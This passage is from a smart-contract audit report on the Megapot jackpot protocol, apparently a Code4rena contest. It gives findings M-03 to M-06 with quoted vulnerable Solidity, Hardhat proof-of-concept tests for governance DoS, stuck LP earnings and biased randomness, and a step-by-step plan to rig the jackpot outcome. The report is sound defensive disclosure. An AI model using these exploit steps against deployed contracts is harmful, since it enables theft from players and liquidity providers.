let subjectReferrers: Address[];
let subjectReferralSplitBps: bigint[];
let subjectSource: string;
let subjectCaller: Account;
it("charges a higher ticket price when using bridge if price is adjusted", async () => {
subjectTickets = [
{
normals: [BigInt(1), BigInt(2), BigInt(3), BigInt(4), BigInt(5)],
bonusball: BigInt(1)
} as Ticket,
{
normals: [BigInt(2), BigInt(4), BigInt(6), BigInt(7), BigInt(11)],
bonusball: BigInt(3)
} as Ticket,
];
await usdcMock.connect(owner.wallet).transfer(buyerOne.address, usdc(1000));
// Approval and ticket setup
await usdcMock.connect(buyerOne.wallet).approve(jackpotBridgeManager.getAddress(), usdc(10));
subjectRecipient = buyerOne.address;
subjectReferrers = [referrerOne.address, referrerTwo.address, referrerThree.address];
subjectReferralSplitBps = [ether(.3333), ether(.3333), ether(.3334)];
subjectSource = ethers.encodeBytes32String("test");
subjectCaller = buyerOne;
// Verify current ticket price
const actualDrawingState: DrawingState = await jackpot.getDrawingState(1);
const actualDrawingTicketPrice = actualDrawingState.ticketPrice;
const actualGlobalTicketPrice = await jackpot.ticketPrice();
expect(actualDrawingTicketPrice).to.eq(usdc(1));
expect(actualGlobalTicketPrice).to.eq(usdc(1));
// Change global ticket price
await jackpot.setTicketPrice(usdc(3));
const newGlobalTicketPrice = await jackpot.ticketPrice();
expect(newGlobalTicketPrice).to.eq(usdc(3));
const jackpotBridgeManagerBalanceBefore = await usdcMock.balanceOf(jackpotBridgeManager.getAddress());
const jackpotBalanceBefore = await usdcMock.balanceOf(jackpot.getAddress());
await jackpotBridgeManager.connect(buyerOne.wallet).buyTickets(subjectTickets,
subjectRecipient,
subjectReferrers,
subjectReferralSplitBps,
subjectSource);
const jackpotBridgeManagerBalanceAfter = await usdcMock.balanceOf(jackpotBridgeManager.getAddress());
const jackpotBalanceAfter = await usdcMock.balanceOf(jackpot.getAddress());
// Balance of the jackpot contract only increased by the actual drawing ticket price multiplied by the number of bought tickets
expect(jackpotBalanceAfter).to.eq(jackpotBalanceBefore + BigInt(subjectTickets.length) * actualDrawingTicketPrice);
// JackpotBridgeManager charges tickets with the newly updated ticket price and not with the price of the actual drawing
// Here we can see that the excess funds are trapped in the contract
expect(jackpotBridgeManagerBalanceAfter).to.eq(BigInt(subjectTickets.length) * newGlobalTicketPrice - BigInt(subjectTickets.length) * actualDrawingTicketPrice);
// JackpotBridgeManager should've forwarded everything
expect(jackpotBridgeManagerBalanceAfter).to.not.eq(jackpotBridgeManagerBalanceBefore);
});
});
});
[M-03] Deliberately increasing liquidity can DoS updates to the protocol’s governance parameters.
Submitted by BengalCatBalu, also found by 0xweb3boy, h2134, itsjust0xsp, KuwaTakushi, mightyraj2605, newspacexyz, odeili, sl1, and Wolf_Kalp
Finding description and impact
The JackpotLPManager::setLPPoolCap function sets the lpPoolCap for LPs.
However, if the current lpPool + pendingDeposits exceeds the desired new cap, the transaction reverts.
It is trivial for LPs to increase lpPool + pendingDeposits simply by making deposits, effectively blocking the cap update.
function processDeposit(uint256 _drawingId, address _lpAddress, uint256 _amount) external onlyJackpot() {
// Note: this check also prevents users from depositing before initializeLPDeposits() is called since the pool cap will be 0
// We will exclude pending withdrawals since the amount withdrawn is dependent on the post-drawing LP value. This makes this
// check more conservative.
uint256 totalPoolValue = lpDrawingState[_drawingId].lpPoolTotal + lpDrawingState[_drawingId].pendingDeposits;
if (_amount + totalPoolValue > lpPoolCap) revert JackpotErrors.ExceedsPoolCap();
LP storage lp = lpInfo[_lpAddress];
_consolidateDeposits(lp, _drawingId);
lp.lastDeposit.amount += _amount;
lp.lastDeposit.drawingId = _drawingId;
lpDrawingState[_drawingId].pendingDeposits += _amount;
emit LpDeposited(_lpAddress, _drawingId, _amount, lpDrawingState[_drawingId].pendingDeposits);
}
function setLPPoolCap(uint256 _drawingId, uint256 _lpPoolCap) external onlyJackpot() {
LPDrawingState storage currentLP = lpDrawingState[_drawingId];
if (_lpPoolCap < currentLP.lpPoolTotal + currentLP.pendingDeposits) revert InvalidLPPoolCap();
lpPoolCap = _lpPoolCap;
}
The call to setLPPoolCap is triggered when updating governance parameters in the Jackpot contract.
function setNormalBallMax(uint8 _normalBallMax) external onlyOwner {
// Note: we do not need to check if _normalBallMax is greater than 255 because it is enforced by uint8 type
uint8 oldNormalBallMax = normalBallMax;
jackpotLPManager.setLPPoolCap(currentDrawingId, _calculateLpPoolCap(_normalBallMax));
normalBallMax = _normalBallMax;
emit NormalBallMaxUpdated(currentDrawingId, oldNormalBallMax, _normalBallMax);
}
function setGovernancePoolCap(uint256 _governancePoolCap) external onlyOwner {
if (_governancePoolCap == 0) revert JackpotErrors.InvalidGovernancePoolCap();
uint256 oldGovernancePoolCap = governancePoolCap;
governancePoolCap = _governancePoolCap;
jackpotLPManager.setLPPoolCap(currentDrawingId, _calculateLpPoolCap(normalBallMax));
emit GovernancePoolCapUpdated(currentDrawingId, oldGovernancePoolCap, _governancePoolCap);
}
function setLpEdgeTarget(uint256 _lpEdgeTarget) external onlyOwner {
if (_lpEdgeTarget == 0 || _lpEdgeTarget >= PRECISE_UNIT) revert JackpotErrors.InvalidLpEdgeTarget();
uint256 oldLpEdgeTarget = lpEdgeTarget;
lpEdgeTarget = _lpEdgeTarget;
jackpotLPManager.setLPPoolCap(currentDrawingId, _calculateLpPoolCap(normalBallMax));
emit LpEdgeTargetUpdated(currentDrawingId, oldLpEdgeTarget, _lpEdgeTarget);
}
function setReserveRatio(uint256 _reserveRatio) external onlyOwner {
if (_reserveRatio >= PRECISE_UNIT) revert JackpotErrors.InvalidReserveRatio();
uint256 oldReserveRatio = reserveRatio;
reserveRatio = _reserveRatio;
jackpotLPManager.setLPPoolCap(currentDrawingId, _calculateLpPoolCap(normalBallMax));
emit ReserveRatioUpdated(currentDrawingId, oldReserveRatio, _reserveRatio);
}
function setTicketPrice(uint256 _ticketPrice) external onlyOwner {
if (_ticketPrice == 0) revert JackpotErrors.InvalidTicketPrice();
uint256 oldTicketPrice = ticketPrice;
ticketPrice = _ticketPrice;
jackpotLPManager.setLPPoolCap(currentDrawingId, _calculateLpPoolCap(normalBallMax));
emit TicketPriceUpdated(currentDrawingId, oldTicketPrice, _ticketPrice);
}
function _calculateLpPoolCap(uint256 _normalBallMax) internal view returns (uint256) {
// We use MAX_BIT_VECTOR_SIZE because that's the max number that can be packed in a uint256 bit vector
uint256 maxAllowableTickets = Combinations.choose(_normalBallMax, NORMAL_BALL_COUNT) * (MAX_BIT_VECTOR_SIZE - _normalBallMax);
uint256 maxPrizePool = maxAllowableTickets * ticketPrice * (PRECISE_UNIT - lpEdgeTarget) / PRECISE_UNIT;
// We need to make sure that the lpPoolCap is not greater than the governance pool cap
return Math.min(maxPrizePool * PRECISE_UNIT / (PRECISE_UNIT - reserveRatio), governancePoolCap);
}
From the formula in _calculateLpPoolCap, it is clear which parameter changes reduce lpPoolCap:
- Decreasing
governancePoolCap - Decreasing
reserveRatio - Decreasing
ticketPrice - Increasing
normalBallMax - Decreasing
lpEdgeTarget
Each of these changes can be disadvantageous to LPs for various reasons.
The most obvious examples:
- Lowering
ticketPricereduces LP earnings per ticket. - Lowering
lpEdgeTargetreduces the guaranteed LP share from each drawing.
Therefore, LP providers have a clear incentive to DoS governance parameter updates that would reduce lpPoolCap.
To DoS such parameter changes, an LP only needs to frontrun the governance update with a deposit transaction.
The deposit must be large enough so that the new lpPoolTotal exceeds the value allowed by the updated parameters.
In that case, the update cannot take effect in the current drawing and will be postponed to the next one.
Practically, this means that after a successful DoS, the governance changes can only be applied after two drawings, not the current one.
It is also important to note that this attack introduces no additional risk to the LP provider.
They are simply depositing liquidity as usual, which means their risk exposure remains exactly the same as before.
Given that this is an easy DoS of the governance functionality for an undefined period of time, medium severity is appropriate.
Recommended mitigation steps
Make governance parameter updates less dependent on LP behavior.
Expand for detailed Proof of Concept
Proof of Concept
import { ethers } from "hardhat";
import DeployHelper from "@utils/deploys";
import { getWaffleExpect, getAccounts } from "@utils/test/index";
import { ether, usdc } from "@utils/common";
import { Account } from "@utils/test";
import { PRECISE_UNIT } from "@utils/constants";
import {
GuaranteedMinimumPayoutCalculator,
Jackpot,
JackpotBridgeManager,
JackpotLPManager,
JackpotTicketNFT,
MockDepository,
ReentrantUSDCMock,
ScaledEntropyProviderMock,
} from "@utils/contracts";
import {
Address,
JackpotSystemFixture,
RelayTxData,
Ticket,
} from "@utils/types";
import { deployJackpotSystem } from "@utils/test/jackpotFixture";
import {
calculatePackedTicket,
calculateTicketId,
generateClaimTicketSignature,
generateClaimWinningsSignature,
} from "@utils/protocolUtils";
import { ADDRESS_ZERO, ONE_DAY_IN_SECONDS } from "@utils/constants";
import {
takeSnapshot,
SnapshotRestorer,
time,
} from "@nomicfoundation/hardhat-toolbox/network-helpers";
const expect = getWaffleExpect();
describe("C4", () => {
let owner: Account;
let user: Account;
let buyerOne: Account;
let buyerTwo: Account;
let referrerOne: Account;
let referrerTwo: Account;
let referrerThree: Account;
let solver: Account;
let jackpotSystem: JackpotSystemFixture;
let jackpot: Jackpot;
let jackpotNFT: JackpotTicketNFT;
let jackpotLPManager: JackpotLPManager;
let payoutCalculator: GuaranteedMinimumPayoutCalculator;
let usdcMock: ReentrantUSDCMock;
let entropyProvider: ScaledEntropyProviderMock;
let snapshot: SnapshotRestorer;
let jackpotBridgeManager: JackpotBridgeManager;
let mockDepository: MockDepository;
const drawingDurationInSeconds: bigint = ONE_DAY_IN_SECONDS;
const entropyFee: bigint = ether(0.00005);
const entropyBaseGasLimit: bigint = BigInt(1000000);
const entropyVariableGasLimit: bigint = BigInt(250000);
beforeEach(async () => {
[
owner,
user,
buyerOne,
buyerTwo,
referrerOne,
referrerTwo,
referrerThree,
solver,
] = await getAccounts();
jackpotSystem = await deployJackpotSystem();
jackpot = jackpotSystem.jackpot;
jackpotNFT = jackpotSystem.jackpotNFT;
jackpotLPManager = jackpotSystem.jackpotLPManager;
payoutCalculator = jackpotSystem.payoutCalculator;
usdcMock = jackpotSystem.usdcMock;
entropyProvider = jackpotSystem.entropyProvider;
await jackpot
.connect(owner.wallet)
.initialize(
usdcMock.getAddress(),
await jackpotLPManager.getAddress(),
await jackpotNFT.getAddress(),
entropyProvider.getAddress(),
await payoutCalculator.getAddress(),
);
await jackpot.connect(owner.wallet).initializeLPDeposits(usdc(10000000)); // initial cap is 10,000,000
await usdcMock
.connect(owner.wallet)
.approve(jackpot.getAddress(), usdc(9000000));
await jackpot.connect(owner.wallet).lpDeposit(usdc(9000000)); // initial deposit is 9,000,000
await jackpot
.connect(owner.wallet)
.initializeJackpot(
BigInt(await time.latest()) +
BigInt(jackpotSystem.deploymentParams.drawingDurationInSeconds),
);
jackpotBridgeManager =
await jackpotSystem.deployer.deployJackpotBridgeManager(
await jackpot.getAddress(),
await jackpotNFT.getAddress(),
await usdcMock.getAddress(),
"MegapotBridgeManager",
"1.0.0",
);
mockDepository = await jackpotSystem.deployer.deployMockDepository(
await usdcMock.getAddress(),
);
snapshot = await takeSnapshot();
});
beforeEach(async () => {
await snapshot.restore();
});
describe("POC", async () => {
let subjectRandomNumbers: bigint[][];
let subjectCaller: Account;
let isJackpotRun: boolean = true;
beforeEach(async () => {
await usdcMock.connect(owner.wallet).transfer(buyerOne.address, usdc(200002));
await usdcMock.connect(buyerOne.wallet).approve(jackpot.getAddress(), usdc(1));
await jackpot.connect(buyerOne.wallet).buyTickets(
[
{
normals: [BigInt(1), BigInt(2), BigInt(3), BigInt(4), BigInt(5)],
bonusball: BigInt(6)
} as Ticket,
],
buyerOne.address,
[],
[],
ethers.encodeBytes32String("test")
);
if (isJackpotRun) {
await time.increase(drawingDurationInSeconds);
const drawingState = await jackpot.getDrawingState(1);
await jackpot.runJackpot({ value: entropyFee + ((entropyBaseGasLimit + entropyVariableGasLimit * drawingState.bonusballMax) * BigInt(1e10)) });
}
subjectRandomNumbers = [[BigInt(1), BigInt(7), BigInt(8), BigInt(9), BigInt(10)], [BigInt(11)]]; // just one match => tier 2
subjectCaller = buyerOne;
});
async function subject(): Promise<any> {
return await entropyProvider.connect(subjectCaller.wallet).randomnessCallback(subjectRandomNumbers);
}
it("POC", async () => {
await subject();
const expectedTicketIdOne = calculateTicketId(1, 1, calculatePackedTicket({
normals: [BigInt(1), BigInt(2), BigInt(3), BigInt(4), BigInt(5)],
bonusball: BigInt(6)
} as Ticket, BigInt(30)));
const currentDrawingId = await jackpot.currentDrawingId();
const lpDrawingState = await jackpotLPManager.getLPDrawingState(currentDrawingId);
console.log("Current pool total:", lpDrawingState.lpPoolTotal.toString()); // current lp pool total is around ~9,000,000
// "Front-run": LP deposits 200,001 USDC before cap decrease
await usdcMock.connect(owner.wallet).transfer(buyerOne.address, usdc(200001));
await usdcMock.connect(buyerOne.wallet).approve(jackpot.getAddress(), usdc(200001));
await jackpot.connect(buyerOne.wallet).lpDeposit(
usdc(200001)
);
// Expect revert on cap decrease due to outstanding LP pool above new cap
await expect(
jackpot.connect(owner.wallet).setGovernancePoolCap(usdc(9200000))
).to.be.reverted;
});
});
});
[M-04] lpEarnings generated in emergency mode become stuck on the contract
Submitted by BengalCatBalu, also found by 0xDemon, 0xnightswatch, dan__vinci, montecristo, and rokinot
Finding description and impact
As stated in the contest README, emergency mode is an unrecoverable state. This means that the protocol does not intend to exit emergency mode once it is activated.
This means that once the jackpot enters emergency mode, the current drawing will not be completed, since runJackpot is protected by the noEmergencyMode modifier.
function runJackpot() external payable nonReentrant noEmergencyMode {
This means that the lpEarnings for the current drawing will not be included in the accumulator update (cause there will be no upgrade) and will therefore remain stuck in the protocol.
LP earnings originate from two sources:
- Ticket sales
- Referral win shares distributed when claiming rewards for tickets without referrers
Ticket sales are not counted during emergency mode, since users receive their funds back through emergencyRefundTickets.
However, referral win shares can still be generated in any drawing:
function _payReferrersWinnings(
bytes32 _referralSchemeId,
uint256 _winningAmount,
uint256 _referralWinShare
) internal
returns (uint256)
{
...
uint256 referrerShare = _winningAmount * _referralWinShare / PRECISE_UNIT;
// If referrer scheme is empty then the referrer share goes to LPs so we just add the amount to lpEarnings
// in order to make sure our system accounts for it
if (_referralSchemeId == bytes32(0)) {
drawingState[currentDrawingId].lpEarnings += referrerShare;
emit LpEarningsUpdated(currentDrawingId, referrerShare);
return referrerShare;
}
...
}
Let’s look more closely at the claimWinnings call.
A user can invoke this function to claim rewards from any previous drawing (even on emergency mode).
If a ticket has no referrers, the referral win share (a percentage of the prize) is credited as lpEarnings for the current drawing, as shown in the code.
function claimWinnings(uint256[] memory _userTicketIds) external nonReentrant {
if (_userTicketIds.length == 0) revert JackpotErrors.NoTicketsToClaim();
uint256 totalClaimAmount = 0;
for (uint256 i = 0; i < _userTicketIds.length; i++) {
uint256 ticketId = _userTicketIds[i];
IJackpotTicketNFT.TrackedTicket memory ticketInfo = jackpotNFT.getTicketInfo(ticketId);
uint256 drawingId = ticketInfo.drawingId;
if (IERC721(address(jackpotNFT)).ownerOf(ticketId) != msg.sender) revert JackpotErrors.NotTicketOwner();
if (drawingId >= currentDrawingId) revert JackpotErrors.TicketFromFutureDrawing();
DrawingState memory winningDrawingState = drawingState[drawingId];
uint256 tierId = _calculateTicketTierId(ticketInfo.packedTicket, winningDrawingState.winningTicket, winningDrawingState.ballMax);
jackpotNFT.burnTicket(ticketId);
uint256 winningAmount = payoutCalculator.getTierPayout(drawingId, tierId);
uint256 referrerShare = _payReferrersWinnings( // @audit lp earnings distributions here
ticketInfo.referralScheme,
winningAmount,
winningDrawingState.referralWinShare
);
totalClaimAmount += winningAmount - referrerShare;
emit TicketWinningsClaimed(
msg.sender,
drawingId,
ticketId,
tierId / 2, // matches
(tierId % 2) == 1, // bonusball match
winningAmount - referrerShare
);
}
usdc.safeTransfer(msg.sender, totalClaimAmount);
}
Thus, during emergency mode, the claimWinnings function continues generating lpEarnings, but these amounts will never be accounted for going forward. They simply remain stuck in the protocol.
Recommended mitigation steps
Add a dedicated function that allows withdrawing the stuck funds while the protocol is in emergency mode.
Expand for detailed Proof of Concept
Proof of Concept
import { ethers } from "hardhat";
import DeployHelper from "@utils/deploys";
import { getWaffleExpect, getAccounts } from "@utils/test/index";
import { ether, usdc } from "@utils/common";
import { Account } from "@utils/test";
import { PRECISE_UNIT } from "@utils/constants";
import {
GuaranteedMinimumPayoutCalculator,
Jackpot,
JackpotBridgeManager,
JackpotLPManager,
JackpotTicketNFT,
MockDepository,
ReentrantUSDCMock,
ScaledEntropyProviderMock,
} from "@utils/contracts";
import {
Address,
JackpotSystemFixture,
RelayTxData,
Ticket,
} from "@utils/types";
import { deployJackpotSystem } from "@utils/test/jackpotFixture";
import {
calculatePackedTicket,
calculateTicketId,
generateClaimTicketSignature,
generateClaimWinningsSignature,
} from "@utils/protocolUtils";
import { ADDRESS_ZERO, ONE_DAY_IN_SECONDS } from "@utils/constants";
import {
takeSnapshot,
SnapshotRestorer,
time,
} from "@nomicfoundation/hardhat-toolbox/network-helpers";
const expect = getWaffleExpect();
describe("C4", () => {
let owner: Account;
let user: Account;
let buyerOne: Account;
let buyerTwo: Account;
let referrerOne: Account;
let referrerTwo: Account;
let referrerThree: Account;
let solver: Account;
let jackpotSystem: JackpotSystemFixture;
let jackpot: Jackpot;
let jackpotNFT: JackpotTicketNFT;
let jackpotLPManager: JackpotLPManager;
let payoutCalculator: GuaranteedMinimumPayoutCalculator;
let usdcMock: ReentrantUSDCMock;
let entropyProvider: ScaledEntropyProviderMock;
let snapshot: SnapshotRestorer;
let jackpotBridgeManager: JackpotBridgeManager;
let mockDepository: MockDepository;
const drawingDurationInSeconds: bigint = ONE_DAY_IN_SECONDS;
const entropyFee: bigint = ether(0.00005);
const entropyBaseGasLimit: bigint = BigInt(1000000);
const entropyVariableGasLimit: bigint = BigInt(250000);
beforeEach(async () => {
[
owner,
user,
buyerOne,
buyerTwo,
referrerOne,
referrerTwo,
referrerThree,
solver,
] = await getAccounts();
jackpotSystem = await deployJackpotSystem();
jackpot = jackpotSystem.jackpot;
jackpotNFT = jackpotSystem.jackpotNFT;
jackpotLPManager = jackpotSystem.jackpotLPManager;
payoutCalculator = jackpotSystem.payoutCalculator;
usdcMock = jackpotSystem.usdcMock;
entropyProvider = jackpotSystem.entropyProvider;
await jackpot
.connect(owner.wallet)
.initialize(
usdcMock.getAddress(),
await jackpotLPManager.getAddress(),
await jackpotNFT.getAddress(),
entropyProvider.getAddress(),
await payoutCalculator.getAddress(),
);
await jackpot.connect(owner.wallet).initializeLPDeposits(usdc(10000000));
await usdcMock
.connect(owner.wallet)
.approve(jackpot.getAddress(), usdc(1000000));
await jackpot.connect(owner.wallet).lpDeposit(usdc(1000000));
await jackpot
.connect(owner.wallet)
.initializeJackpot(
BigInt(await time.latest()) +
BigInt(jackpotSystem.deploymentParams.drawingDurationInSeconds),
);
jackpotBridgeManager =
await jackpotSystem.deployer.deployJackpotBridgeManager(
await jackpot.getAddress(),
await jackpotNFT.getAddress(),
await usdcMock.getAddress(),
"MegapotBridgeManager",
"1.0.0",
);
mockDepository = await jackpotSystem.deployer.deployMockDepository(
await usdcMock.getAddress(),
);
snapshot = await takeSnapshot();
});
beforeEach(async () => {
await snapshot.restore();
});
describe("POC", async () => {
let subjectRandomNumbers: bigint[][];
let subjectCaller: Account;
let isJackpotRun: boolean = true;
beforeEach(async () => {
await usdcMock.connect(owner.wallet).transfer(buyerOne.address, usdc(1));
await usdcMock.connect(buyerOne.wallet).approve(jackpot.getAddress(), usdc(1));
await jackpot.connect(buyerOne.wallet).buyTickets(
[
{
normals: [BigInt(1), BigInt(2), BigInt(3), BigInt(4), BigInt(5)],
bonusball: BigInt(6)
} as Ticket,
],
buyerOne.address,
[],
[],
ethers.encodeBytes32String("test")
);
if (isJackpotRun) {
await time.increase(drawingDurationInSeconds);
const drawingState = await jackpot.getDrawingState(1);
await jackpot.runJackpot({ value: entropyFee + ((entropyBaseGasLimit + entropyVariableGasLimit * drawingState.bonusballMax) * BigInt(1e10)) });
}
subjectRandomNumbers = [[BigInt(1), BigInt(2), BigInt(3), BigInt(4), BigInt(5)], [BigInt(6)]];
subjectCaller = buyerOne;
});
async function subject(): Promise<any> {
return await entropyProvider.connect(subjectCaller.wallet).randomnessCallback(subjectRandomNumbers);
}
it("POC", async () => {
await subject();
const expectedTicketIdOne = calculateTicketId(1, 1, calculatePackedTicket({
normals: [BigInt(1), BigInt(2), BigInt(3), BigInt(4), BigInt(5)],
bonusball: BigInt(6)
} as Ticket, BigInt(30)));
await jackpot.connect(owner.wallet).enableEmergencyMode();
await jackpot.connect(buyerOne.wallet).claimWinnings([expectedTicketIdOne]);
const currentDrawingId = await jackpot.currentDrawingId();
const drawingStateAfter = await jackpot.getDrawingState(currentDrawingId);
console.log("LP EARNINGS: ", drawingStateAfter.lpEarnings);
expect(drawingStateAfter.lpEarnings).to.be.gt(0);
});
});
});
[M-05] Randomness can be exploited in some cases
Submitted by touristS, also found by hgrano
https://github.com/code-423n4/2025-11-megapot/blob/main/contracts/ScaledEntropyProvider.sol#L251
Finding description and impact
The contract currently generates both normal balls and the bonus ball using the same seed derived from the entropy source.
https://github.com/code-423n4/2025-11-megapot/blob/main/contracts/ScaledEntropyProvider.sol#L251
function entropyCallback(uint64 sequence, address /*provider*/, bytes32 randomNumber) internal override {
PendingRequest memory req = pending[sequence];
if (req.callback == address(0)) revert UnknownSequence();
delete pending[sequence];
@> uint256[][] memory scaledRandomNumbers = _getScaledRandomness(randomNumber, req.setRequests);
(bool success, ) = req.callback.call(abi.encodeWithSelector(req.selector, sequence, scaledRandomNumbers, req.context));
if (!success) revert CallbackFailed(req.selector);
emit EntropyFulfilled(sequence, randomNumber);
emit ScaledRandomnessDelivered(sequence, req.callback, scaledRandomNumbers.length);
}
However, when normalballMax and bonusballMax are equal, this results in overlapping randomness - the bonus ball is always included within the normal balls.
This breaks the assumption of truly randomness. As a result, users can statistically exploit the predictable overlap to gain a higher probability of winning.
For example, when
prizePool=(2,992,626 ~ 3,092,380),lpEdgeTarget = 30%,normalballMax = 30, The computedbonusballMaxbecomes 30.- Expected odds: 1 in
C(30, 5) * C(30, 1)≈ 1 in 4,275,180 - Exploited odds: 1 in
C(30, 5) * C(5, 1)≈ 1 in 712,530
This means users’ odds of winning increase roughly (bonusballMax / 5) times.
Therefore, users can deterministically exploit draws by purchasing all combinations(712,530) and guaranteeing a positive return including jackpot.
Recommended mitigation steps
Use a different seed for the bonus ball when generating random numbers.
Expand for detailed Proof of Concept
Proof of Concept
import { ethers } from "hardhat";
import DeployHelper from "@utils/deploys";
import { getWaffleExpect, getAccounts } from "@utils/test/index";
import { ether, usdc } from "@utils/common";
import { Account } from "@utils/test";
import { PRECISE_UNIT } from "@utils/constants";
import {
GuaranteedMinimumPayoutCalculator,
Jackpot,
JackpotBridgeManager,
JackpotLPManager,
JackpotTicketNFT,
MockDepository,
ReentrantUSDCMock,
ScaledEntropyProviderMock,
} from "@utils/contracts";
import {
Address,
JackpotSystemFixture,
RelayTxData,
Ticket,
} from "@utils/types";
import { deployJackpotSystem } from "@utils/test/jackpotFixture";
import {
calculatePackedTicket,
calculateTicketId,
generateClaimTicketSignature,
generateClaimWinningsSignature,
} from "@utils/protocolUtils";
import { ADDRESS_ZERO } from "@utils/constants";
import {
takeSnapshot,
SnapshotRestorer,
time,
} from "@nomicfoundation/hardhat-toolbox/network-helpers";
const expect = getWaffleExpect();
describe("C4", () => {
let owner: Account;
let buyerOne: Account;
let buyerTwo: Account;
let referrerOne: Account;
let referrerTwo: Account;
let referrerThree: Account;
let solver: Account;
let jackpotSystem: JackpotSystemFixture;
let jackpot: Jackpot;
let jackpotNFT: JackpotTicketNFT;
let jackpotLPManager: JackpotLPManager;
let payoutCalculator: GuaranteedMinimumPayoutCalculator;
let usdcMock: ReentrantUSDCMock;
let entropyProvider: ScaledEntropyProviderMock;
let snapshot: SnapshotRestorer;
let jackpotBridgeManager: JackpotBridgeManager;
let mockDepository: MockDepository;
beforeEach(async () => {
[
owner,
buyerOne,
buyerTwo,
referrerOne,
referrerTwo,
referrerThree,
solver,
] = await getAccounts();
jackpotSystem = await deployJackpotSystem();
jackpot = jackpotSystem.jackpot;
jackpotNFT = jackpotSystem.jackpotNFT;
jackpotLPManager = jackpotSystem.jackpotLPManager;
payoutCalculator = jackpotSystem.payoutCalculator;
usdcMock = jackpotSystem.usdcMock;
entropyProvider = jackpotSystem.entropyProvider;
await jackpot
.connect(owner.wallet)
.initialize(
usdcMock.getAddress(),
await jackpotLPManager.getAddress(),
await jackpotNFT.getAddress(),
entropyProvider.getAddress(),
await payoutCalculator.getAddress(),
);
await jackpot.connect(owner.wallet).initializeLPDeposits(usdc(10000000));
await usdcMock
.connect(owner.wallet)
.approve(jackpot.getAddress(), usdc(1000000));
await jackpot.connect(owner.wallet).lpDeposit(usdc(1000000));
await jackpot
.connect(owner.wallet)
.initializeJackpot(
BigInt(await time.latest()) +
BigInt(jackpotSystem.deploymentParams.drawingDurationInSeconds),
);
jackpotBridgeManager =
await jackpotSystem.deployer.deployJackpotBridgeManager(
await jackpot.getAddress(),
await jackpotNFT.getAddress(),
await usdcMock.getAddress(),
"MegapotBridgeManager",
"1.0.0",
);
mockDepository = await jackpotSystem.deployer.deployMockDepository(
await usdcMock.getAddress(),
);
snapshot = await takeSnapshot();
});
beforeEach(async () => {
await snapshot.restore();
});
describe("PoC", async () => {
it("demonstrates bonus ball is always included in normal balls when normalBallMax == bonusballMax", async () => {
const deployer = new DeployHelper(owner.wallet);
const fisherYatesTester = await deployer.deployFisherYatesWithRejectionTester();
const normalBallMax = 30;
const bonusballMax = 30;
const seed = BigInt(12345);
// let's test with the same seed:
console.log(`\n --- test with the same seed ---`);
const normalsSame = await fisherYatesTester.draw(BigInt(1), BigInt(normalBallMax), BigInt(5), seed);
const bonusSame = await fisherYatesTester.draw(BigInt(1), BigInt(bonusballMax), BigInt(1), seed);
const bonusValue = bonusSame[0];
console.log(`Normal balls: [${normalsSame.join(", ")}]`);
console.log(`Bonus ball: ${bonusValue}`);
});
});
});
Result:
--- test with the same seed ---
Normal balls: [30, 18, 24, 3, 19]
Bonus ball: 30
[M-06] Changes to Pyth entropy provider used by ScaledEntropyProvider allow attacker to fix jackpot result
Submitted by hgrano
Finding description and impact
When the Jackpot requests entropy from the ScaledEntropyProvider during Jackpot::runJackpot, the ScaledEntropyProvider tracks each request by the sequence number returned from the Pyth Network Entropy contract:
function requestAndCallbackScaledRandomness(
uint32 _gasLimit,
SetRequest[] memory _requests,
bytes4 _selector,
bytes memory _context
)
external
payable
returns (uint64 sequence)
{
// We assume that the caller has already checked that the fee is sufficient
if (msg.value < getFee(_gasLimit)) revert InsufficientFee();
if (_selector == bytes4(0)) revert InvalidSelector();
_validateRequests(_requests);
sequence = entropy.requestV2{value: msg.value}(entropyProvider, _gasLimit);
_storePendingRequest(sequence, _selector, _context, _requests);
}
// [...]
function _storePendingRequest(
uint64 sequence,
bytes4 _selector,
bytes memory _context,
SetRequest[] memory _setRequests
) internal {
pending[sequence].callback = msg.sender;
pending[sequence].selector = _selector;
pending[sequence].context = _context;
for (uint256 i = 0; i < _setRequests.length; i++) {
pending[sequence].setRequests.push(_setRequests[i]);
}
}
The entropyProvider storage variable used above is the Pyth entropy provider. For each Pyth entropy provider, the sequence number is a unique value (incremented with each requestV2 call). The problem is that different Pyth entropy providers may share the same sequence number at some point. We can see the sequence numbers are tracked per provider address by the Pyth Entropy contract here.
Consider this scenario:
- Attacker observes from the mempool that the owner is about to call
ScaledEntropyProvider::setEntropyProviderto change Pyth entropy provider to a new address. - Attacker front-runs the admin by calling
ScaledEntropyProvider::requestAndCallbackScaledRandomnesswhich registers their callback ats, the current sequence number. They provide_requestsof length 2 where the first element specifies 5 samples withminRange = 1andmaxRange = 5- without replacement (this will always produce the same selection of all numbers 1 to 5). The second element - for the bonus ball - can haveminRange = maxRange = 1so the result is always pre-determined to be1. The attacker can use any account/contract with callback that reverts, there by in caseScaledEntropyProvider::_entropyCallbackis executed for their callback, the storage valuepending[s]is never cleared due to the revert on ScaledEntropyProvider.sol:253. - Admin’s call to
ScaledEntropyProvider::setEntropyProvideris executed. Let’s assume the current sequence number of the new Pyth entropy provider is less thans. - Attacker buys one or more lottery tickets with numbers to match the desired outcome from step 2.
- Attacker directly calls
Entropy::requestV2for the new Pyth entropy provider until its sequence number reachess - 1. - In the same transaction as the previous step, the attacker calls
Jackpot::runJackpotwhich will causepending[s]to be modified:callback,selectorandcontextare over-written to the values required by theJackpot. Requests will be appended onto the end ofpending[s].setRequests, but the attacker’s original requests are left as-is. - New Pyth entropy provider will call
Entropy::revealwhich causesJackpot::scaledEntropyCallbackto be executed and only the attacker’s desired “random” numbers will be used (as they are at indices 0 and 1 in the_randomNumbersarray). - Attacker will have the winning ticket and can claim their winnings.
Impact:
Attacker forces the outcome of the jackpot and claims the winning ticket at the expense of honest users and LPs.
Notes on attack feasibility:
If, in the case the new entropy provider has higher sequence number than the old one, it is possible for the attacker to front run the admin change and directly call Entropy::requestV2 several times for the old provider until its sequence number exceeds that of the new provider.
At the time of writing this submission, the sequence number for the default provider of the Entropy contract on Base mainnet is in the order of a few hundred thousand. If the difference between the old and new provider sequence numbers are at this order of magnitude, thereby requiring the attacker call Entropy::requestV2 about this many times, then this does incur a significant cost. However, if we consider the gas price of a layer 2 like Base and the potential earnings the attacker can make from the lottery win, the attack is still feasible. The attacker could split the calls up across different transactions/blocks as necessary. Additionally, if the new provider has lower sequence number than the old one, the attacker could just wait until the sequence number catches up due to normal use of the Pyth network.
Conclusion: any time the admin changes the Pyth entropy provider, they put the protocol at significant risk of being exploited.
Recommended mitigation steps
Consider changing the ScaledEntropyProvider to store requests based on sequence number and entropy provider. E.g. use a nested mapping:
--- a/contracts/ScaledEntropyProvider.sol
